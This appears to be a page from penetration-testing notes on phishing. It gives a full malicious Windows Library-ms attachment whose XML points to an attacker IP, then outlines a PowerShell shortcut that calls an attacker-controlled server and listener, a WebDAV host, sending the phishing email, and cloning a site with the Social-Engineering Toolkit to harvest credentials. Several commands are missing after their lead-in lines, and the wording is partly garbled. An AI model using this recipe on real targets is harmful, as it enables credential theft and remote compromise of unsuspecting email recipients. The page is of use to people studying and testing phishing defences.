Phising
Attachment
Create a malicious attachment (config.Library-ms) and include the attacker host's IP address within the <url> tags (line 15):
Create the attachment on a Windows host!
Library-msis a Windows-specific file format, and it must follow a specific XML structure with Windows metadata.If it is created it on Linux, even with the same contents, it might not be recognized or executed properly by Windows.
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://172.16.42.42</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>Create a malicious PowerShell shortcut pointing first to an attacker-controlled HTTP server and then to an attacker-controlled listener:
Transfer both files to the attacking host under /webdav and start the server from within that directory:
Start the HTTP server and the listener:
Send the phising email along with the malicious attachment:
Site Clone
The below process can be often simplified by just sending the phishing email(s) and launching a nc listener!
The Social Engineering Toolkit can be used to automate the process:
We can manually run setoolkit and select the options Social-Engineering Attacks → Website Attack Vectors > Credential Harvester Attack > Site Cloner.
We can also the above choices and required input using seautomate:
We can then send our phising email:
Last updated
Was this helpful?